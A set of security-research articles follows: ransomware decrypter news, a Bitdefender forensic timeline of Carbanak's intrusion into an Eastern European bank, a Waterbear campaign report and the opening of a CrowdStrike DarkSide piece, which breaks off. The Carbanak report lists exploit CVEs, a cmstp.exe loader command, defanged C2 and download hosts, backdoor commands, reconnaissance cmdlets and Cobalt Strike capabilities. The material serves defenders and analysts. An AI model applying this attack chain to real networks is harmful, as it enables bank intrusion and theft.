their network and password policies, - use traffic monitoring software, such as Kaspersky Anti Targeted Attack Platform (KATA), - use antivirus solutions. ## IoCs - 8f360227e7ee415ff509c2e443370e56 - 3a3bad366916aa3198fd1f76f3c29f24 - F84de0a584ae7e02fb0ffe679f96db8d - ATM - Dropper - Financial malware - Lazarus - Malware Descriptions - RAT Trojan **Authors** Konstantin Zykov
# A LockerGoga Primer and Decrypters for Mira and Aurora Ransomwares There’s some good news for victims of the Mira and Aurora ransomwares: free decrypters have been made available. ## New Decrypters F-Secure has released a decrypter for victims of the Mira ransomware. (You’ll know you’ve been hit if the encrypted files sport the .mira extension.) “Most often, decryption can be very challenging because of missing keys that are needed for decryption. However, in the case of Mira ransomware, it appends all information required to decrypt an encrypted file into the encrypted file itself,” the company explained. Before running the tool, users need to remove the ransomware from the computer, lest it encrypt the decrypted files again. “It is important to run the tool on the specific computer where the files were originally encrypted. This is because the recovery key for each file is calculated from the computer where the files got encrypted,” the company added. Emsisoft has released a decrypter for victims of the Aurora ransomware, aka Zorro, Desu, or AnimusLocker. (You’ll know you’ve been hit if the encrypted files sport the .Aurora, .aurora, .animus, .ONI, .Nano, .desu, or .cryptoid extension.) By the by, Michael Gillespie, security researcher and the creator of ID Ransomware, the online tool that ransomware victims can use to identify the specific malware they’ve been hit with, has also released a decrypter for the Aurora ransomware earlier this year. ## About LockerGoga Unlike Mira and Aurora, the LockerGoga ransomware seems to have been aimed at specific, high-profile targets. The name became widely known after the recent Norsk Hydro attack. The company did not name the ransomware that hit them, but the Norwegian National Security Authority confirmed it is LockerGoga. The Center for Internet Security has released a primer containing the most current information about the ransomware and known indicators of compromise. “LockerGoga reportedly targets other sectors, although a disproportionate amount of victims reside in the industrial/manufacturing sector,” the organization pointed out. Known recent victims include French engineering consulting firm Altran and U.S. chemical companies Hexion and MPM Holdings (Momentive). At this time, the initial intrusion vector is unknown, but it seems that the ransomware is unable to spread itself to other computers on the network. They also pointed out that, in some cases, the victims won’t even be able to tell they’ve been targeted with this specific malware. “Cisco’s Talos group observed that some LockerGoga variants forcibly log victims off their devices. They are then unable to log back onto the device, which also means they may not see the ransom note. Furthermore, in some cases the network interface on each system was disabled and the local user account passwords were changed. This can cause confusion on the victim’s end as to their issue’s root cause,” they noted. “If this is an intentional feature, then it is possible that the CTAs have both financial and destructive motivations.” Their advice for organizations is to make regular backups of their important files and ensure that they are able to recover from them.
# An APT Blueprint: Gaining New Visibility into Financial Threats ## Executive Summary In mid-2018, Bitdefender researchers investigated a targeted attack on an Eastern European financial institution, gaining new insights and creating a complete event timeline showing how the infamous group Carbanak infiltrates organizations, how it moves laterally across the infrastructure, and the time it takes to set up the actual heist. The initial point of compromise found in our investigation involved the use of spear-phishing emails with malicious URLs and tainted documents rigged to download a Cobalt Strike beacon component. Within hours of compromise, the cybercriminal group would begin to move laterally across the infrastructure, identify critical documents and prepare them for exfiltration, and try to access the organization’s ATM and banking applications. Bitdefender’s forensic analysis revealed some key compromise tactics: - Financial institutions in Eastern Europe remain the primary focus of the criminal group, which uses spear phishing as the main attack vector. - The presence of Cobalt Strike hacking tools is the key indicator that the financial institutions were targeted by the Carbanak cyber-criminal gang. - In the reconnaissance phase, data related to banking applications and internal procedures was collected and prepared for exfiltration, to be used for the final stage of the attack. - Infrastructure reconnaissance mainly occurred after business hours or on weekends to avoid triggering security alarms. - It only took attackers a couple of hours from initial compromise to fully established foothold and lateral movement, showing experience, knowledge, and coordination. - The final goal of the targeted attack was to compromise the ATM networks, potentially to cash out at ATMs in a coordinated physical and infrastructure criminal operation. Several spear-phishing campaigns attributed to Carbanak, all occurring between March and May 2018, were analyzed by security researchers in 2018. These campaigns impersonated emails from high-profile organizations, such as IBM or European Central Bank, but also cybersecurity companies. While most forensic investigations focus on offering a highly technical analysis of the payloads used by the Carbanak group, Bitdefender’s investigation offers a complete timeline of events, from the moment the email reached the victim’s inbox to the moment of the heist. ## A History of Criminal Activity One of the most prolific APT-style cyberattacks, specifically targeting the financial sector, is known as Carbanak. Discovered in 2014, the campaign quickly gained notoriety after compromising the security systems of 100 banks in 40 countries and stealing up to $1 billion in the process. Banks in countries such as Russia, the United Kingdom, the Netherlands, Spain, Romania, Belarus, Poland, Estonia, Bulgaria, Georgia, Moldova, Kyrgyzstan, Armenia, Taiwan, and Malaysia have allegedly been targeted with spear-phishing emails, luring victims into clicking malicious URLs and executing booby-trapped documents. The same group is believed to have also been using the Cobalt Strike framework to run sophisticated campaigns, plotting and performing financial heists of financial institutions. Following an investigation led by law enforcement in cooperation with cybersecurity companies, the leader of the group was apprehended in Alicante, Spain, on March 26th, 2018. However, this action doesn’t appear to have made a dent in the cybercriminal organization, as subsequent spear-phishing campaigns seem to have been reported from March until May 2018. ### Spearphishing Campaigns Timeline - **March 7th-10th**: Emails sent from fake domains: ibm-cert.com, ibm-warning.com, ibm-notice.com. - **March 15th**: Emails impersonated VeriFon (a large POS terminal vendor) and used the fake dns-verifon.com domain. - **March 26th**: Phishing emails pertaining to be from SpamHaus (non-profit organization that fights spam and phishing). They registered the spamhuas.com domain and cloned the content from the official website (spamhaus.org). - **April 3rd**: The group used compromised mail servers of a Swedish company. - **May 18th**: Impersonated the SWIFT payment system and embedded documents with a JavaScript backdoor. A similar attack was used on USA and Europe banks. - **May 23rd**: Spearphishing emails claiming to be from a security vendor. - **May 28th**: Spearphishing emails impersonating the European Central Bank. They contained a JavaScript backdoor. A Carbanak trademark in cyberattacks remains the use of Cobalt Strike – a powerful pentesting tool designed for exploiting and executing malicious code, simulating post-exploitation actions of advanced threat actors – which allows them to infiltrate the organization, move laterally, exfiltrate data, and deploy anti-forensic and evasion tools. While the end results of such an attack can be easily assessed in financial losses, little information has been publicly available until now on how the attack occurs step-by-step within a compromised organization. ## Modus Operandi The APT-style cybercriminal group has a long track record of successfully targeting financial institutions around the world to either cash out at ATMs or perform wire transfers using the bank’s internal systems. The spear-phishing emails sent to the financial institutions either end up with victims downloading a tampered document meant to download the Cobalt Strike beacon or to exploit several unpatched Remote Code Execution Vulnerabilities and deploy a backdoor. Once the user attempts to open the attached documents, scripts embedded within the files are dropped on the disk and automatically executed in the background. This is a popular technique, sometimes associated with advanced persistent threats (APTs) attributed to nation-sponsored threat actors. Designed for stealth infiltration within the targeted system, the attacks use reconnaissance tools designed to assess the state of the victim’s workstation and determine what tools should be downloaded next, or even open decoy documents to avoid drawing victims’ suspicion. ### Bitdefender’s Investigation, Resulting in a Complete Attack Timeline Bitdefender’s forensics and investigation team was contacted to look into a security incident that started in May 2018 with an email received by two of the bank’s employees. As previously mentioned, the date coincides with a Carbanak spear-phishing campaign. The attack target was to gain access to banking systems and eventually withdraw funds in cash from ATMs. The pattern exhibited by attackers and their lateral movements across the infrastructure show that they knew what types of information to look for and they were skilled at evasion techniques. Judging by the way the adversaries interacted with different systems, the targeted hosts and the documents prepared for exfiltration, it appears that the cybercriminal group focused initially on mapping the internal processes and applications of the affected institution. They displayed a deep understanding of the nature and location of the data they sought. They were able to maintain a low network footprint and avoid suspicion by using selected single workstations as a hub for centralizing collected information and for communication with their command & control server, outside the regular working hours of the bank. After compromising the first victim, the aggressors’ next goal was to find admin-level credentials that would allow them to move across the entire infrastructure. By performing all these operations outside business hours and limiting their interaction to only a handful of systems, the cybercriminal group minimized the detection opportunities. A carefully executed network reconnaissance and lateral movement plan was unfolding during this time. What follows is a timeline of events that started with the initial spear-phishing email. ### Initial Compromise Two victims were tricked into opening the spear-phishing attachment, initially compromising two separate endpoints. **Day 0 (day of initial compromise)** - 16:48 – one of the employees opened the document within the spear-phishing email. - 16:49 – a second employee opened the same tainted document. The document opened by both employees used three exploit methods for Remote Code Execution in Microsoft Word: CVE-2017-8570, CVE-2017-11882, and CVE-2018-0802. To distract the user from the attack occurring in the background, a decoy document was used. Finally, a backdoor from the Command and Control Server was used to establish persistence in the infrastructure. At this point, the adversary had the ability to download and execute new payloads, download additional scripts, run shell commands to move laterally in the infrastructure, and delete files from the system and clean registry keys to leave fewer forensic traces. ### Network Lateral Movement & Data Collection In this phase, attackers compromised additional network endpoints, gathering data and using one of the endpoints for collecting and storing internal documents that appeared of interest. **Day 0 (continued) 17:05 to 18:20** As soon as the first spear-phishing email was accessed, events occurred as follows: - Three Microsoft Word exploits were used. - Cobalt Strike beacon was delivered and used to discover and map the organization’s internal network, with the purpose of collecting administrative level credentials. - Credentials for one Domain Administrator were compromised and used throughout the duration of the attack. - Credentials were “tested” on one of the Domain Controller servers to make sure they’re valid, resulting in its compromise. At least two more endpoints were compromised by the end of the day. **Days 1 to 28** Numerous workstations were systemically compromised in a search for critical information that the cybercriminals could use. **Day 10** Attack reaches another compromised endpoint, which will later be used to store documents related to internal applications, manuals, and other potentially valuable documents. **Day 28** A series of potentially valuable documents pertaining to internal applications and procedures were identified and prepared for exfiltration. ### Internal Servers Compromised Lateral movements and intelligence collection continue, while attackers also target and compromise additional internal hosts and servers that will be used during the actual heist. Between Day 30 to 46, over a period of 17 days, a series of archives were created containing manuals, guides, and training materials for different applications. The information gathered was archived and organized in different folders. This information was relevant in planning the attack on the bank and, potentially, other banks that share similar systems. The cybercriminal group could be actively improving its understanding of internal banking systems by collecting and studying this type of information, in an attempt to make their attacks more efficient and stealthier. Their specialization in compromising banking infrastructures could be a direct consequence of intelligence collected and assimilated after each attack on previous financial institutions. This level of intimate knowledge of how banking applications work based on stolen documentation helps them quickly achieve their purpose, which is to access and transfer financial assets. The more information they have on the inner workings of banking applications, the easier it becomes to pull off surgical cyber heists and avoid security tripwires. **Day 30**: A series of archives were created containing manuals, guides, and training materials for different applications. The information gathered was archived and organized in different folders. **Day 33**: Attackers connected to servers and hosts with access to banking applications. The connections were initiated from workstations that had activity after regular office hours. **Day 33 to 46**: A series of archives were created containing manuals, guides, and training materials for different applications. The information gathered was archived and organized in different folders. **Day 46 to 63**: Using a compromised domain administrator account, attackers remotely dial into various network workstations and ultimately remove the archives used to store the banking materials, to cover their tracks. Starting on Day 33, attackers connected to servers and hosts with access to banking applications. The connections were initiated from workstations that had activity after regular office hours. The workstations used to connect to these machines were logged in from and controlled by a workstation that was not part of the legitimate corporate infrastructure. The system belonged to the adversary and accessed the organization network through a VPN tunnel established by the Cobalt Strike beacon component, to contact the internal corporate network systems. These command & control connections last between 20 minutes and one hour on average, based on the logs available for forensic investigation. The documents prepared for exfiltration, which were relevant to the internal applications, as well as the connections to banking applications after regular office hours, point to a financially motivated attack. Below is a complete lateral movement timeline that includes all major events related to what infrastructure assets were compromised and when. Marked in red are the three major milestones achieved during the attack: the moment the domain controller was compromised, the moment documents started being stored on an internal endpoint, and when the threat actors first connected to a host with access to banking applications. ### Lateral Movement Timeline - **Day 0** - 16:48:53: 1st endpoint compromised after opening the spear-phishing email. - 16:49:03: 2nd endpoint compromised after opening the spear-phishing email. - 18:20:00: 3rd victim - Domain Controller compromise and admin credentials used throughout the duration of the attack. - 18:40:49: Another endpoint compromised and Cobalt Beacon dropped. - 21:02:15: Another endpoint compromised and Cobalt Beacon dropped. - **Day 1** - 10:24:07: Another endpoint compromised and used to perform lateral movement. - 13:27:45: Another endpoint compromised. - **Day 4** - 10:19:00: Another endpoint compromised and Cobalt Beacon dropped. - **Day 7** - 16:00:00: Another endpoint compromised and Cobalt Beacon dropped. - 19:48:01: Another endpoint compromised. - **Day 9** - 01:57:31: Another endpoint compromised. - 16:43:00: Another endpoint compromised. - **Day 10** - 1:30:17: Another endpoint compromised and used to store documents prepared for exfiltration. - **Day 15** - 21:39:11: Domain Controller accessed and used remotely dial into various endpoints. - **Day 32** - 13:16:07: Another endpoint compromised. - **Day 33** - 17:00:55: The moment when attackers connected to a host with access to banking applications. - **Day 34** - 08:52:18: Another host with access to banking applications was accessed by the attackers. - **Day 35** - 15:15:33: Another host with access to banking applications was accessed by the attackers. - 21:40:58: Another endpoint compromised, starts to communicate with C&C. - **Day 38** - 07:54:47: Another endpoint compromised. - **Day 45** - 20:36:38: Another host with access to banking applications was accessed by the attackers. - **Day 47** - 20:55:38: Remote desktop into an internal system (compromised). - **Day 53** - 16:07:29: Another host with access to banking applications was accessed by the attackers. - 20:39:16: Another host with access to banking applications was accessed by the attackers. - 20:45:34: Another host with access to banking applications was accessed by the attackers. - **Day 55** - 12:56:28: Another host with access to banking applications was accessed by the attackers. ## Technical Analysis - Experts Only Below is a detailed analysis of the key indicators of compromise that helped build the APT timeline. It includes an event timeline compiled from two workstations used in the attack: the one used to compromise the domain controller and the one used to store all the network-collected data. The following events help paint a clear picture of actions immediately after the spear-phishing email attachment was opened, and show how the threat actors move laterally across the infrastructure and how they gathered relevant documentation. The attack flow leaves behind a temporary file, which was found on two of the systems analyzed in the incident response. This temporary file was created on the filesystem after the opening of the original document file, downloaded from the malicious URL mentioned above. ### Attack Flow After Opening the Tampered Spearphishing Document - **KbhpQIcahFCuZwq.sct**: This object was not found on disk, it was deleted after running by “MGsCOxPSNK.txt”. Its role is to launch into execution the component “MGsCOxPSNK.txt”. - **MGsCOxPSNK.txt**: This file was not found on disk. Its functionality is to act as a next stage batch script which executes “cmstp.exe /s /ns tCrrDqBQoCcEkbnK.txt”. - **cqHfjCkTtMwG.doc**: This file can be found at the path: C:\Users\[redacted]\AppData\Local\Temp\cqHfjCkTtMwG.doc. It is a decoy file, because it acts as a normal document file while the malicious payload is being dropped and executed on the system. - **tCrrDqBQoCcEkbnK.txt**: This object can be found at the path: C:\Users\[redacted]\AppData\Local\Temp\tCrrDqBQoCcEkbnK.txt. It is a configuration file for cmstp.exe. It downloads a DLL dropper from “cloud[.]yourdocument[.]biz/robots.txt”. The DLL Dropper downloaded on step four was not found on the file system and has the role of decrypting and dropping yet another JavaScript Dropper on the system. The decrypted JavaScript will be saved at the path “%APPDATA%\<registry_value>.txt” where registry_value = “HKEY_CURRENT_USER\Software\Microsoft\Notepad[USERNAME]\303F1428C3F”. Before exiting, the DLL will self-delete. The file “303F1428C3F.txt” can be found at the path C:\Users\[redacted]\AppData\Roaming\303F1428C3F.txt. Also, the file was obfuscated and encrypted with RC4. After decryption, the binary tried to download a JavaScript backdoor from the Command and Control server (C&C) “nl[.][redacted][.]kz/robots.txt” and saved the file to “%APPDATA%\9D01CA.txt”. The backdoor “%APPDATA%\9D01CA.txt” was then executed via “regsvr32”. The file “9D01CA.txt” sent an initial fingerprint of the system compromised which contained the name of the antivirus solution installed on the system, the local IP address, username, computer name, and OS version. After this communication, the component waited for instructions from the C&C “nl[.][redacted][.]kz/api/v1”. The traffic with the C&C was encrypted and the commands received from the C&C would split into five types: - “d&exec”: download and execute payload (EXE of DLL). - “more_eggs”: download additional scripts (including self-update) and save them in “%APPDATA%”. - “gtfo”: self-delete/registry cleanup. - “more_onion”: runs additional downloaded scripts. - “via_x”: execute command shell commands. All files mentioned in this stage of the attack were created on the system on Day 0 at around 16:49, when the first download link was accessed. It is worth mentioning that a binary executable named “rad353F7.tmp” appeared on the system at a later date, Day 6, and was most certainly downloaded on the system by the Javascript Backdoor “9D01CA.txt”. Day 0 at 16:48:58 marks the touchdown of a decoy file on two systems. This file is a decoy because it acts as a normal document file while the malicious payload is being dropped on the system. On one of the two workstations, the decoy file has the creation time of Day 0 at 16:49:09 (10 seconds later than the other workstation) and the path C:\Users\[redacted]\AppData\Local\Temp\cqHfjCkTtMwG.doc. This system shows more stages of the attack, because the adversary used this machine to perform lateral movement and compromise a domain administrator account within two hours of the initial compromise. After the compromise of the domain administrator account, a network discovery is performed and systems start to be logged on via remote desktop protocol to reach the objective of infiltrating the network and gathering information. Below is a complete timeline of events recorded on the workstation that was used to compromise the domain administrator account employed by attackers throughout the lateral movement process. **Day 0** - 16:49:03: File created /Users/[redacted]/AppData/Local/Microsoft/Windows/INetCache/Content.Word/~WRF{39EC1EBF-71AD-4216-BDC3-66B5DCB833F3}.tmp. - 16:49:09: File created \Users\[redacted]\AppData\Local\Temp\cqHfjCkTtMwG.doc. - 16:49:10: Faulting application name: EQNEDT32.EXE. - 16:49:30: File created C:\Users\[redacted]\AppData\Local\Temp\tCrrDqBQoCcEkbnK.txt. - 16:54:00: File created C:\Users\[redacted]\AppData\Roaming\303F1428C3F.txt. - 16:55:00: File created C:\Users\[redacted]\AppData\Roaming\9D01CA.txt. - 17:05:33: Powershell script communicated to 185.206.145.227. - 17:08:28: Find-LocalAdminAccess. - 17:21:17: LastUsedTime systeminfo.exe. - 17:28:35: Run time for \Users\[redacted]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\smrs.exe (d68351f754a508a386c06946c8e79088). - 17:46:28: Get-NetComputer. - 17:46:29: File created NetComputer.txt. - 17:48:10: Invoke-EnumerateLocalAdmin. - 17:48:26: Find-LocalAdminAccess. - 17:48:27: File created LocalAdminAccess.txt. - 17:56:12: Invoke-EnumerateLocalAdmin. - 17:57:03: File created EnumerateLocalAdmin.csv. - 18:15:53: PowerShell console is starting up. - 18:17:52 to 18:23:38: The legitimate jusched.exe is replaced with the jusched.exe (d68351f754a508a386c06946c8e79088) beacon downloader. - 18:44:39: File created \Users\Public\[redacted].txt. - 18:55:56: Run time for \Users\[redacted]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\smrs.exe (d68351f754a508a386c06946c8e79088). - 18:55:56: LastUsedTime: C:\Windows\system32\cmd.exe. - 18:55:56: Run time for taskkill.exe. - 22:54:57: LastUsedTime: C:\Windows\system32\PING.EXE. **Day 1** - 10:19:15: Powershell run with content from pipe_8080. - 10:24:07: A service was installed in the system. - 10:34:19: Run time for powershell.exe. - 13:00:48: Failed attempts to connect to five internal systems. - 13:26:53: Run time for net1.exe. **Day 2** - 17:48:59: Run time for nslookup.exe. **Day 5** - 12:07:49: Powershell script communicated to C2 server. - 13:28:37: Powershell script communicated to C2 server. - 13:38:45: Powershell script communicated to C2 server. - 15:49:08: File created C:\Users\[redacted]\AppData\Roaming\rad353F7.tmp. **Day 6** - 17:08:40: Execution on file path: C:\Users\[redacted]\AppData\Roaming\rad353F7.tmp. **Day 27** - 08:26:22: FileKeyLastWriteTimestamp mstsc.exe. **Day 46** - 11:33:47: Run time for jusched.exe. **Day 58** - 09:06:33: Failed attempts to connect to several internal systems. 330 events: 322 target a single system; 4 target a second system; 4 target a third system. **Day 59** - 08:34:07: Failed attempts to connect to several internal systems. 358 events: 349 target a single system; 5 target a second system; 5 target a third system. **Day 60** - 08:33:50: Failed attempts to connect to several internal systems. 355 target a single system; 5 target a second system; 5 target a third system. **Day 63** - 08:13:37: Failed attempts to connect to several internal systems. 304 target a single system; 7 target a second system; 7 target a third system. The full list of components and their corresponding hashes can be found in the IoC section below. The workstation used to store the .zip archives containing internal banking documents was compromised on Day 9 using domain admin credentials. On that day, attackers remotely dialed into the workstation and started accessing various network locations in an attempt to find various internal banking application files and documents. From Day 10 to Day 27, the same workstation was used to connect to other internal network servers. On Day 28 at 10:43:57 and 19:53:49, two .zip archives containing internal documents were created. On Day 30 at 10:53:50, a third .zip archive was created, and it was deleted at 15:34:38. On Day 46, attackers deleted a series of documents and folders from the workstation, potentially to cover their tracks and leave no evidence regarding the collected documents. ## Cobalt Strike Beacon Capabilities The Cobalt Strike beacon is a malicious agent implant that, once dropped on a compromised system, calls back to the attacker and checks for new commands to be executed on the compromised system. This versatile tool can support two types of communication mechanisms: asynchronous and interactive. The asynchronous mode keeps commands in a queue and, when the beacon connects to a C&C, it downloads commands, executes them, and finally reports results to the C&C server. This can be particularly useful when trying to keep a low network footprint and not trigger any alarms by constantly “chatting” back and forth with the C&C server. While the asynchronous communication mode is also known as “low and slow”, in the sense that it becomes inactive when an internet connection is not present, the interactive communication mode offers real-time interaction with the compromised workstation. Overall framework capabilities include, but are not limited to, executing shell commands, uploading and downloading files, recording keystrokes and taking screenshots, escalating privileges, deploying exploits, bypassing User Account Control (UAC), and even deploying memory scraping tools, such as Mimikatz, or enumerating Active Directory (AD) hosts. By supporting malleable communication with the C&C server, it can help attackers blend malicious traffic as legitimate, by allowing them to transform and store data, interpret it backwards, and extract and recover that data from a transaction. ### Cobalt Strike Framework Capabilities - Different commands can be executed (some leave traces in the events). - Session passing - to hijack sessions. - Alternate parent processes. - Upload and download files. - File System Commands (list files, make/remove directories, etc.). - Keystrokes and Screenshots (the tools for these actions are injected in different processes). - SOCKS Proxy - set up a SOCKS proxy server to tunnel traffic through Beacon. - Reverse Pivoting. - Privilege Escalation. - Elevate with an Exploit. - Elevate with Known Credentials. - Get SYSTEM - token impersonation for the SYSTEM user. - UAC Bypass. - Privileges - enable the privileges assigned to your current access token. - Mimikatz - Beacon integrates Mimikatz (although in other cases it can use different tools such as Modified Windows Vault Password Dumper or Hook Password Change). - Credential and Hash Harvesting - injects into LSASS and dumps the password hashes for local users on the current system. - Port Scanner. - Network and Host Enumeration - interrogates and discovers targets in a Windows active directory network. - Kerberos Tickets - inject a Kerberos ticket in the current session, making the interaction with remote systems possible using the current tickets’ rights. - Lateral Movement - lateral movement can be performed when a domain admin or a domain user that has admin on the target. ## Conclusions The Carbanak group, which has a long track record of compromising infrastructure belonging to financial institutions, is still active. Its purpose remains to manipulate financial assets, such as transferring funds from bank accounts or taking over ATM infrastructures and instructing them to dispense cash at predetermined time intervals. Bitdefender’s investigation shows the attackers’ main methods remain to quietly infiltrate the infrastructure by establishing a foothold on an employee’s system, then move laterally across the infrastructure or elevate privileges to find critical systems that manage financial transactions or ATM networks. This attack falls in line with previous objectives observed in past attacks on other financial institutions, as the cybercriminal organization targeted the ATM network to reach systems belonging to key people within the organization who have access to ATM systems. If the attack had succeeded, it would have given hackers control over the ATM network, while money mules would have been standing by the ATM machines at pre-set time intervals to cash them out. They could have also been able to reset the cash-out limit on ATMs, using a predetermined/preauthorized card. This way, money mules could have extracted the same amount over and over, without the ATMs reporting any transactions to the bank. It is not uncommon in a targeted attack for phishing emails to bypass anti-spam solutions deployed at the mail server level, which is why it is good practice to deploy an in-depth security model that ensures URL filtering, behavior-based detection techniques, and sandboxing, aside from classical anti-malware solutions. An enterprise-level solution that looks at both network traffic and endpoint behavior would observe lateral movements by the attacker and flag them for review by a security analyst. The damage observed throughout the investigation process was limited to access of internal documents on the compromised systems and user account credentials leaked. ## Appendix A: IOCs ### File IOCs | Filename | md5 | |----------|-----| | smrs.exe | D68351f754a508a386c06946c8e79088 | | smrs.exe | 341917d17440ee8a334b202eb0378108 | | java.exe | d90ecd6c825ce236838112898e1c4a2e | | 94563784.doc | d117c73e353193118a6383c30e42a95f | | WRF{8F0C5F8E-18A3-48CE-A2F4-2F4DB1B14E94}.tmp | b8fc470b9665b33d2071034fdfd6629c | | KbhpQIcahFCuZwq.sct | bb784d55895db10b67b1b4f1f5b0be16 | | MGsCOxPSNK.txt | 4bee6ff39103ffe31118260f9b1c4884 | | cqHfjCkTtMwG.doc | c2a9443aac258a60d8cace43e839cf9f | | tCrrDqBQoCcEkbnK.txt | 581c2a76b382deedb48d1df077e5bdf1 | | DLL dropper | f0645bd9367faf4e21a9c5e8c132bed7 | | DLL dropper | 34a58e62866e5c17db61ee5f95d52c58 | | DLL dropper | 38242fb29d7cb82a4ffd651189d9821e | | DLL dropper | f0e52df398b938bf82d9e71ce754ab34 | | 303F1428C3F.txt | eb561d46c6283c632df88bd20ade6df4 | | 9D01CA.txt | bbaee5d936a3809f46fd409b8442f753 | | rad353F7.tmp | 63c98b8c34ee9261c0068c7f0435a9f9 | | jusched.exe | d68351f754a508a386c06946c8e79088 | | nusb1mon.exe | ddb9553c6e4e4908b5c7fbbdc4795d6c | | netscan.exe | 1e94f1fdf5ace5e57d8b7832ea2da22e | | netscan.exe | e7aa5608c81ba4fcd8d166501b90fc06 | | psexec.exe | 27304b246c7d5b4e149124d5f93c5b01 | | psexesvc.exe | 75b55bb34dac9d02740b9ad6b6820360 | | psexec.exe | a7f7a0f74c8b48f1699858b3b6c11eda | | psexesvc.exe | 87dfac39f577e5f52f0724455e8832a8 | ### Network IOCs - swift-fraud[.]com/documents/94563784.doc: downloads initial doc - cloud[.]yourdocument[.]biz/robots.txt: downloads DLL dropper - nl[.][redacted][.]kz/robots.txt: downloads JavaScript backdoor - nl[.][redacted][.]kz/api/v1: JavaScript backdoor C&C - gets commands and executes them - 94.140.116.69 - 185.206.145.227 - 45.56.162.8 - 94.156.35.118 - 185.243.115.28 - 185.206.146.226 - 94.140.116.176 ## Appendix B - **smrs.exe (d68351f754a508a386c06946c8e79088)**: Downloader that downloads a shellcode, which in turn downloads the beacon. - **smrs.exe (341917d17440ee8a334b202eb0378108)**: Cobalt Strike beacon that’s being deployed on affected workloads. - **jusched.exe (d68351f754a508a386c06946c8e79088)**: Downloader that downloads a shellcode, which in turn downloads the beacon. Same file/hash as “smrs.exe”, just under a different name. - **nusb1mon.exe (ddb9553c6e4e4908b5c7fbbdc4795d6c)**: Tool that takes screenshots at specific time intervals. Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors, and reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology and is a leading security provider in virtualization and cloud technologies. Through R&D, alliances, and partnership teams, Bitdefender has elevated the highest standards of security excellence in both its number-one-ranked technology and its strategic alliances with the world’s leading virtualization and cloud technology providers. More information is available at http://www.bitdefender.com/. All Rights Reserved. © 2018 Bitdefender. All trademarks, trade names, and products referenced herein are property of their respective owners.
# Waterbear Malware Used in Attack Wave Against Government Agencies Researchers have spotted a fresh Waterbear campaign in which Taiwanese government agencies have been targeted in sophisticated attacks. According to CyCraft researchers, the attacks took place in April 2020, but in an interesting twist, the threat group responsible leveraged malware already present on compromised servers—due to past attacks—in order to deploy malware. Waterbear has previously been associated with BlackTech, an advanced cyberattack group that generally attacks technology companies and government entities across Taiwan, Japan, and Hong Kong. Trend Micro researchers say the modular malware is primarily "used for lateral movement, decrypting and triggering payloads with its loader component." Last year, Waterbear captured interest in the cybersecurity industry after implementing API hooking to hide its activities by abusing security products. In the latest wave, CyCraft says a vulnerability was exploited in a common and trusted data loss prevention (DLP) tool in order to load Waterbear. The job was made easier as malware leftover from previous attacks on the same targets had not been fully eradicated. The attackers have been tracked in attempts to use stolen credentials to access a target network. In some examples, endpoints were still compromised from past attacks, and this was leveraged to access the victim's internal network and covertly establish a connection to the group's command-and-control (C2) server. A vulnerability in the DLP tool was then used to perform DLL hijacking. As the software failed to verify the integrity of DLLs it was loading, the malicious file was launched with a high level of privilege. This DLL then injected shellcode into various Windows system services, allowing the Waterbear loader to deploy additional malicious packages. Another interesting facet of the loader is the "resurrection" of a decade-old antivirus evasion technique, according to the researchers. Known as "Heaven's Gate," the misdirection technique is used to trick Microsoft Windows operating systems into executing 64-bit code, even when declared as a 32-bit process. This, in turn, can be used to bypass security engines and to inject shellcode. "Just as 64-bit and 32-bit programs are quite different, so are analysis mechanisms. Malware equipped with Heaven's Gate contains both 64-bit and 32-bit parts," the team says. "Therefore, some monitor/analysis systems will only apply 32-bit analysis and will fail the 64-bit part; thus, this approach will break some monitor/analysis mechanisms." To scupper analysis attempts, the Waterbear loader will also use RC4 encryption on its main payload and "pad contents [and memory] from Kernel32.dll in front of and behind shellcode." The size of the malware's binary was also inflated in an attempt to bypass file-based scanners. In August, the CyCraft team told virtual attendees of Black Hat USA that a Chinese advanced persistent threat (APT) group has been striking the systems of Taiwanese chip manufacturers. Sensitive corporate information and property including semiconductor designs, source code, and software development kits (SDKs) have been stolen in "precise and well-coordinated attacks" over 2018 and 2019. At least seven separate vendors have fallen prey to the group.
# How Ransomware Adversaries Reacted to the DarkSide Attack The repercussions from the Colonial Pipeline DarkSide ransomware incident have garnered global attention and caused major shifts in the ransomware ecosystem. Many criminal forums have now banned ransomware, and as a result, many ransomware-as-a-service (RaaS) operators have already ended their public communications regarding affiliate and partner recruitment. While this incident will have a significant short- to medium-term impact on the public-facing operations of RaaS provisions, the RaaS operation model will unlikely be abandoned and will likely continue in more private and secure communication channels. ## Ransomware Infection at Pipeline Company On May 7, 2021, Colonial Pipeline — operator of 5,500 miles of pipeline from the Gulf Coast to the U.S. East Coast providing 45% of the gasoline to this region — was the victim of a ransomware infection. Initial details surrounding the incident were very tightly controlled, and information filtered out slowly, likely due to the engagement of U.S. government and law enforcement agencies. On May 9, 2021, the FBI released a public statement expressing they were “working closely with the company and our government partners.” The FBI’s follow-up statement on May 10 publicly indicated the incident involved the DarkSide ransomware. It was later reported Colonial Pipeline had approximately 100GB of data stolen from their network, and the organization allegedly paid almost $5 million USD to a DarkSide affiliate. ## Government Statements Regarding Attribution On May 10, President Biden stated the U.S. intelligence community had no evidence at the time that the Russian government was involved in this incident — but evidence did exist that the actors responsible were located in Russia. In response to a question about possible state ties of the DarkSide operators, the United States National Security Council’s most senior cybersecurity official publicly described them as “a criminal actor.” On May 11, 2021, the Russian Embassy in the U.S. released a statement that they “took note of the attempts of some media to accuse Russia of a cyberattack on Colonial Pipeline” and distanced themselves from the ransomware incident, stating they “categorically reject the baseless fabrications of individual journalists and reiterate that Russia does not conduct ‘malicious’ activity in the virtual space.” ## CARBON SPIDER CrowdStrike Intelligence attributes the operation of the DarkSide RaaS to CARBON SPIDER, a skilled eCrime (ECX) group, highly likely Eastern Europe- or Russia-based. CARBON SPIDER has been active since at least 2013 and previously targeted the hospitality and retail sectors in pursuit of payment card data. In April 2020, CARBON SPIDER began conducting big game hunting (BGH) operations. The evolution from targeted eCrime to BGH is reminiscent of how other adversaries (such as INDRIK SPIDER and WIZARD SPIDER) have shifted their operations to focus primarily or exclusively on BGH. CARBON SPIDER’s BGH campaigns were likely motivated by the COVID-19 pandemic and the reduction in point-of-sale (POS) transactions. The adversary used PINCHY SPIDER’s REvil RaaS prior to introducing their own ransomware, DarkSide, in August 2020, and were among the first ransomware operators to target VMWare ESXi systems. In November 2020, CARBON SPIDER made the business decision to advertise their DarkSide ransomware to 